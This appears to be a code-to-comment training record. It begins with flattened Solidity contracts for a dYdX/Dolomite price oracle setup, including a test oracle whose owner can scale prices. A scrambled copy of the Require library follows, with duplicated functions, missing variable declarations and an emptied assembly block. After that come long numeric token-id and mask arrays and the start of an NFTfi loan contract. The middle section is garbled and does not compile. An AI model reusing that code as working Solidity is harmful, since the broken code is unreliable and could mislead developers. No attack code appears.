* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/protocol/lib/Monetary.sol
/*
Copyright 2019 dYdX Trading Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
/**
* @title Monetary
* @author dYdX
*
* Library for types involving money
*/
library Monetary {
/*
* The price of a base-unit of an asset. Has `36 - token.decimals` decimals
*/
struct Price {
uint256 value;
}
/*
* Total value of an some amount of an asset. Equal to (price * amount). Has 36 decimals.
*/
struct Value {
uint256 value;
}
}
// File: contracts/protocol/interfaces/IPriceOracle.sol
/*
Copyright 2019 dYdX Trading Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
/**
* @title IPriceOracle
* @author dYdX
*
* Interface that Price Oracles for DolomiteMargin must implement in order to report prices.
*/
contract IPriceOracle {
// ============ Constants ============
uint256 public constant ONE_DOLLAR = 10 ** 36;
// ============ Public Functions ============
/**
* Get the price of a token
*
* @param token The ERC20 token address of the market
* @return The USD price of a base unit of the token, then multiplied by 10^36.
* So a USD-stable coin with 18 decimal places would return 10^18.
* This is the price of the base unit rather than the price of a "human-readable"
* token amount. Every ERC20 may have a different number of decimals.
*/
function getPrice(
address token
)
public
view
returns (Monetary.Price memory);
}
// File: contracts/protocol/lib/Require.sol
/*
Copyright 2019 dYdX Trading Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
/**
* @title Require
* @author dYdX
*
* Stringifies parameters to pretty-print revert messages. Costs more gas than regular require()
*/
library Require {
// ============ Constants ============
uint256 constant ASCII_ZERO = 48; // '0'
uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10
uint256 constant ASCII_LOWER_EX = 120; // 'x'
bytes2 constant COLON = 0x3a20; // ': '
bytes2 constant COMMA = 0x2c20; // ', '
bytes2 constant LPAREN = 0x203c; // ' <'
byte constant RPAREN = 0x3e; // '>'
uint256 constant FOUR_BIT_MASK = 0xf;
// ============ Library Functions ============
function that(
bool must,
bytes32 file,
bytes32 reason
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason)
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
// ============ Private Functions ============
function stringifyTruncated(
bytes32 input
)
private
pure
returns (bytes memory)
{
// put the input bytes into the result
bytes memory result = abi.encodePacked(input);
// determine the length of the input by finding the location of the last non-zero byte
for (uint256 i = 32; i > 0; ) {
// reverse-for-loops with unsigned integer
/* solium-disable-next-line security/no-modify-for-iter-var */
i--;
// find the last non-zero byte in order to determine the length
if (result[i] != 0) {
uint256 length = i + 1;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
mstore(result, length) // r.length = length;
}
return result;
}
}
// all bytes are zero
return new bytes(0);
}
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
// get the final string length
uint256 j = input;
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
// allocate the string
bytes memory bstr = new bytes(length);
// populate the string starting with the least-significant character
j = input;
for (uint256 i = length; i > 0; ) {
// reverse-for-loops with unsigned integer
/* solium-disable-next-line security/no-modify-for-iter-var */
i--;
// take last decimal digit
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
// remove the last decimal digit
j /= 10;
}
return bstr;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
// addresses are "0x" followed by 20 bytes of data which take up 2 characters each
bytes memory result = new bytes(42);
// populate the result with "0x"
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
// for each byte (starting from the lowest byte), populate the result with two characters
for (uint256 i = 0; i < 20; i++) {
// each byte takes two characters
uint256 shift = i * 2;
// populate the least-significant character
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
// populate the most-significant character
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
// bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each
bytes memory result = new bytes(66);
// populate the result with "0x"
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
// for each byte (starting from the lowest byte), populate the result with two characters
for (uint256 i = 0; i < 32; i++) {
// each byte takes two characters
uint256 shift = i * 2;
// populate the least-significant character
result[65 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
// populate the most-significant character
result[64 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function char(
uint256 input
)
private
pure
returns (byte)
{
// return ASCII digit (0-9)
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
// return ASCII letter (a-f)
return byte(uint8(input + ASCII_RELATIVE_ZERO));
}
}
// File: contracts/external/interfaces/IChainlinkAggregator.sol
/*
Copyright 2020 Dolomite.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
/**
* @title IChainlinkAggregator
* @author Dolomite
*
* Gets the latest price from the Chainlink Oracle Network. Amount of decimals depends on the base.
*/
contract IChainlinkAggregator {
function latestAnswer() public view returns (int256);
}
// File: contracts/external/oracles/ChainlinkPriceOracleV1.sol
/*
Copyright 2020 Dolomite.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
/**
* @title ChainlinkPriceOracleV1
* @author Dolomite
*
* An implementation of the dYdX IPriceOracle interface that makes Chainlink prices compatible with the protocol.
*/
contract ChainlinkPriceOracleV1 is IPriceOracle, Ownable {
using SafeMath for uint;
bytes32 private constant FILE = "ChainlinkPriceOracleV1";
event TokenInsertedOrUpdated(
address indexed token,
address indexed aggregator,
address indexed tokenPair
);
mapping(address => IChainlinkAggregator) public tokenToAggregatorMap;
mapping(address => uint8) public tokenToDecimalsMap;
// Defaults to USD if the value is the ZERO address
mapping(address => address) public tokenToPairingMap;
// Should defaults to CHAINLINK_USD_DECIMALS when value is empty
mapping(address => uint8) public tokenToAggregatorDecimalsMap;
uint8 public CHAINLINK_USD_DECIMALS = 8;
uint8 public CHAINLINK_ETH_DECIMALS = 18;
/**
* Note, these arrays are set up, such that each index corresponds with one-another.
*
* @param tokens The tokens that are supported by this adapter.
* @param chainlinkAggregators The Chainlink aggregators that have on-chain prices.
* @param tokenDecimals The number of decimals that each token has.
* @param tokenPairs The token against which this token's value is compared using the aggregator. The
* zero address means USD.
* @param aggregatorDecimals The number of decimals that the value has that comes back from the corresponding
* Chainlink Aggregator.
*/
constructor(
address[] memory tokens,
address[] memory chainlinkAggregators,
uint8[] memory tokenDecimals,
address[] memory tokenPairs,
uint8[] memory aggregatorDecimals
) public {
// can't use Require.that because it causes the compiler to hang for some reason
require(
tokens.length == chainlinkAggregators.length,
"ChainlinkPriceOracleV1: invalid aggregators length"
);
require(
chainlinkAggregators.length == tokenDecimals.length,
"ChainlinkPriceOracleV1: invalid token decimals length"
);
require(
tokenDecimals.length == tokenPairs.length,
"ChainlinkPriceOracleV1: invalid token pairs length"
);
require(
tokenPairs.length == aggregatorDecimals.length,
"ChainlinkPriceOracleV1: invalid aggregator decimals length"
);
for (uint i = 0; i < tokens.length; i++) {
_insertOrUpdateOracleToken(
tokens[i],
tokenDecimals[i],
chainlinkAggregators[i],
aggregatorDecimals[i],
tokenPairs[i]
);
}
}
// ============ Admin Functions ============
function insertOrUpdateOracleToken(
address token,
uint8 tokenDecimals,
address chainlinkAggregator,
uint8 aggregatorDecimals,
address tokenPair
) public onlyOwner {
_insertOrUpdateOracleToken(
token,
tokenDecimals,
chainlinkAggregator,
aggregatorDecimals,
tokenPair
);
}
// ============ Public Functions ============
function getPrice(
address token
)
public
view
returns (Monetary.Price memory) {
Require.that(
address(tokenToAggregatorMap[token]) != address(0),
FILE,
"invalid token",
token
);
uint rawChainlinkPrice = uint(tokenToAggregatorMap[token].latestAnswer());
address tokenPair = tokenToPairingMap[token];
// standardize the Chainlink price to be the proper number of decimals of (36 - tokenDecimals)
uint standardizedPrice = standardizeNumberOfDecimals(
tokenToDecimalsMap[token],
rawChainlinkPrice,
tokenPair == address(0) ? CHAINLINK_USD_DECIMALS : tokenToAggregatorDecimalsMap[token]
);
if (tokenPair == address(0)) {
// The pair has a USD base, we are done.
return Monetary.Price({value : standardizedPrice});
} else {
// The price we just got and converted is NOT against USD. So we need to get its pair's price against USD.
// We can do so by recursively calling #getPrice using the `tokenPair` as the parameter instead of `token`.
uint tokenPairStandardizedPrice = getPrice(tokenPair).value;
// Standardize the price to use 36 decimals.
uint tokenPairWith36Decimals = tokenPairStandardizedPrice.mul(10 ** uint(tokenToDecimalsMap[tokenPair]));
// Now that the chained price uses 36 decimals (and thus is standardized), we can do easy math.
return Monetary.Price({value : standardizedPrice.mul(tokenPairWith36Decimals).div(ONE_DOLLAR)});
}
}
/**
* Standardizes `value` to have `ONE_DOLLAR` - `tokenDecimals` number of decimals.
*/
function standardizeNumberOfDecimals(
uint8 tokenDecimals,
uint value,
uint8 valueDecimals
) public pure returns (uint) {
uint tokenDecimalsFactor = 10 ** uint(tokenDecimals);
uint priceFactor = IPriceOracle.ONE_DOLLAR.div(tokenDecimalsFactor);
uint valueFactor = 10 ** uint(valueDecimals);
return value.mul(priceFactor).div(valueFactor);
}
// ============ Internal Functions ============
function _insertOrUpdateOracleToken(
address token,
uint8 tokenDecimals,
address chainlinkAggregator,
uint8 aggregatorDecimals,
address tokenPair
) internal {
tokenToAggregatorMap[token] = IChainlinkAggregator(chainlinkAggregator);
tokenToDecimalsMap[token] = tokenDecimals;
if (tokenPair != address(0)) {
// The aggregator's price is NOT against USD. Therefore, we need to store what it's against as well as the
// # of decimals the aggregator's price has.
tokenToPairingMap[token] = tokenPair;
tokenToAggregatorDecimalsMap[token] = aggregatorDecimals;
}
emit TokenInsertedOrUpdated(token, chainlinkAggregator, tokenPair);
}
}
// File: contracts/external/oracles/TestChainlinkPriceOracleV1.sol
/*
Copyright 2020 Dolomite.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
/**
* @title ChainlinkPriceOracleV1
* @author Dolomite
*
* An implementation of the dYdX IPriceOracle interface that makes Chainlink prices compatible with the protocol.
*/
contract TestChainlinkPriceOracleV1 is ChainlinkPriceOracleV1 {
event OverrideOraclePrice(address indexed token, uint8 percent);
event UnsetOverrideOraclePrice(address indexed token);
mapping (address => uint8) public tokenToPercentChange;
/**
* Note, these arrays are set up, such that each index corresponds with one-another.
*
* @param tokens The tokens that are supported by this adapter.
* @param chainlinkAggregators The Chainlink aggregators that have on-chain prices.
* @param tokenDecimals The number of decimals that each token has.
* @param tokenPairs The token against which this token's value is compared using the aggregator. The
* zero address means USD.
* @param aggregatorDecimals The number of decimals that the value has that comes back from the corresponding
* Chainlink Aggregator.
*/
constructor(
address[] memory tokens,
address[] memory chainlinkAggregators,
uint8[] memory tokenDecimals,
address[] memory tokenPairs,
uint8[] memory aggregatorDecimals
)
public
ChainlinkPriceOracleV1(tokens, chainlinkAggregators, tokenDecimals, tokenPairs, aggregatorDecimals) {
// solium-disable-line no-empty-blocks
}
// ============ Admin Functions ============
/**
* @param token The token whose price should change
* @param percent The percent that should be applied to the current oracle price. Use 0 to unset. A value of 100
* indicates no change. 90 is a 10% drop (0.9 times the price) and 110 is a 10% increase (1.1
* times the price).
*/
function changeOraclePrice(
address token,
uint8 percent
) public onlyOwner {
tokenToPercentChange[token] = percent;
if (percent == 0 || percent == 100) {
emit UnsetOverrideOraclePrice(token);
} else {
emit OverrideOraclePrice(token, percent);
}
}
// ============ Public Functions ============
function getPrice(
address token
)
public
view
returns (Monetary.Price memory) {
Monetary.Price memory price = super.getPrice(token);
uint8 percent = tokenToPercentChange[token];
if (percent == 0 || percent == 100) {
return price;
} else {
return Monetary.Price(price.value.mul(percent).div(100));
}
}
}
|
* @title Require @author dYdX Stringifies parameters to pretty-print revert messages. Costs more gas than regular require()/ ============ Constants ============ ============ Library Functions ============
|
library Require {
uint256 constant FOUR_BIT_MASK = 0xf;
function that(
bool must,
bytes32 file,
bytes32 reason
)
internal
pure
}
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason)
)
)
);
}
}
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason)
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
bytes32 payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringifyTruncated(file),
COLON,
stringifyTruncated(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
function stringifyTruncated(
bytes32 input
)
private
pure
returns (bytes memory)
{
bytes memory result = abi.encodePacked(input);
for (uint256 i = 32; i > 0; ) {
i--;
if (result[i] != 0) {
uint256 length = i + 1;
assembly {
}
return result;
}
}
}
function stringifyTruncated(
bytes32 input
)
private
pure
returns (bytes memory)
{
bytes memory result = abi.encodePacked(input);
for (uint256 i = 32; i > 0; ) {
i--;
if (result[i] != 0) {
uint256 length = i + 1;
assembly {
}
return result;
}
}
}
function stringifyTruncated(
bytes32 input
)
private
pure
returns (bytes memory)
{
bytes memory result = abi.encodePacked(input);
for (uint256 i = 32; i > 0; ) {
i--;
if (result[i] != 0) {
uint256 length = i + 1;
assembly {
}
return result;
}
}
}
function stringifyTruncated(
bytes32 input
)
private
pure
returns (bytes memory)
{
bytes memory result = abi.encodePacked(input);
for (uint256 i = 32; i > 0; ) {
i--;
if (result[i] != 0) {
uint256 length = i + 1;
assembly {
}
return result;
}
}
}
return new bytes(0);
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
for (uint256 i = length; i > 0; ) {
i--;
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
j /= 10;
}
return bstr;
}
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
for (uint256 i = length; i > 0; ) {
i--;
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
j /= 10;
}
return bstr;
}
uint256 j = input;
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
for (uint256 i = length; i > 0; ) {
i--;
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
j /= 10;
}
return bstr;
}
bytes memory bstr = new bytes(length);
j = input;
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
for (uint256 i = length; i > 0; ) {
i--;
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
j /= 10;
}
return bstr;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
bytes memory result = new bytes(42);
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
for (uint256 i = 0; i < 20; i++) {
uint256 shift = i * 2;
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
bytes memory result = new bytes(42);
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
for (uint256 i = 0; i < 20; i++) {
uint256 shift = i * 2;
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
bytes memory result = new bytes(66);
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
for (uint256 i = 0; i < 32; i++) {
uint256 shift = i * 2;
result[65 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
result[64 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
bytes memory result = new bytes(66);
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
for (uint256 i = 0; i < 32; i++) {
uint256 shift = i * 2;
result[65 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
result[64 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function char(
uint256 input
)
private
pure
returns (byte)
{
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
}
function char(
uint256 input
)
private
pure
returns (byte)
{
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
}
return byte(uint8(input + ASCII_RELATIVE_ZERO));
}
| 5,429,116 |
[
1,
8115,
225,
302,
61,
72,
60,
514,
5032,
1472,
358,
7517,
17,
1188,
15226,
2743,
18,
28108,
87,
1898,
16189,
2353,
6736,
2583,
1435,
19,
422,
1432,
631,
5245,
422,
1432,
631,
422,
1432,
631,
18694,
15486,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
12981,
288,
203,
203,
203,
565,
2254,
5034,
5381,
17634,
1099,
67,
15650,
67,
11704,
273,
374,
5841,
31,
203,
203,
203,
565,
445,
716,
12,
203,
3639,
1426,
1297,
16,
203,
3639,
1731,
1578,
585,
16,
203,
3639,
1731,
1578,
3971,
203,
565,
262,
203,
3639,
2713,
203,
3639,
16618,
203,
97,
203,
203,
203,
203,
565,
288,
203,
3639,
309,
16051,
11926,
13,
288,
203,
5411,
15226,
12,
203,
7734,
533,
12,
203,
10792,
24126,
18,
3015,
4420,
329,
12,
203,
13491,
7077,
23825,
12,
768,
3631,
203,
13491,
27856,
16,
203,
13491,
7077,
23825,
12,
10579,
13,
203,
10792,
262,
203,
7734,
262,
203,
5411,
11272,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
288,
203,
3639,
309,
16051,
11926,
13,
288,
203,
5411,
15226,
12,
203,
7734,
533,
12,
203,
10792,
24126,
18,
3015,
4420,
329,
12,
203,
13491,
7077,
23825,
12,
768,
3631,
203,
13491,
27856,
16,
203,
13491,
7077,
23825,
12,
10579,
13,
203,
10792,
262,
203,
7734,
262,
203,
5411,
11272,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
716,
12,
203,
3639,
1426,
1297,
16,
203,
3639,
1731,
1578,
585,
16,
203,
3639,
1731,
1578,
3971,
16,
203,
3639,
2254,
5034,
2385,
37,
203,
565,
262,
203,
3639,
2713,
203,
3639,
16618,
203,
565,
288,
203,
3639,
309,
16051,
11926,
13,
288,
203,
5411,
15226,
12,
203,
7734,
533,
12,
203,
10792,
24126,
18,
3015,
4420,
329,
12,
203,
13491,
7077,
23825,
12,
768,
3631,
203,
13491,
27856,
16,
203,
13491,
7077,
2
] |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "./DirectLoanBaseMinimal.sol";
import "../../../utils/ContractKeys.sol";
/**
* @title DirectLoanFixed
* @author NFTfi
* @notice Main contract for NFTfi Direct Loans Fixed Type. This contract manages the ability to create NFT-backed
* peer-to-peer loans of type Fixed (agreed to be a fixed-repayment loan) where the borrower pays the
* maximumRepaymentAmount regardless of whether they repay early or not.
*
